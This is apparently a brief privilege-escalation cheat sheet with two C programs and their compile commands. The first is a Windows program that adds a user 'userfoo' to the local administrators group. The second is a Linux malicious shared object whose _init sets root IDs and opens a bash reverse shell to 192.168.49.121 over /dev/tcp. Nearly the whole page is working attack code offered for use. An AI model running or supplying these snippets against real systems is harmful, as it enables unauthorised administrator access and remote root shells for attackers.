C script

Windows: C script that aim to add a new users to the administration group

#include <stdlib.h>  
int main ()  
{  
	int i;  
	i = system ("net user userfoo password123 /add");  
	i = system ("net localgroup administrators userfoo /add");  
	return 0;  
}

To compile

i686-w64-mingw32-gcc adduser.c -o adduser.exe

Linux

Creating a malicious .so shared object that will send back to my attacker machine a reverse shell

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

void _init()
{
setuid(0); 
setgid(0); 
system("bash -i >& /dev/tcp/192.168.49.121/80 0>&1");
}

To compile

gcc rootshell.c -o utils.so -shared -Wall -fPIC -nostartfiles

Last updated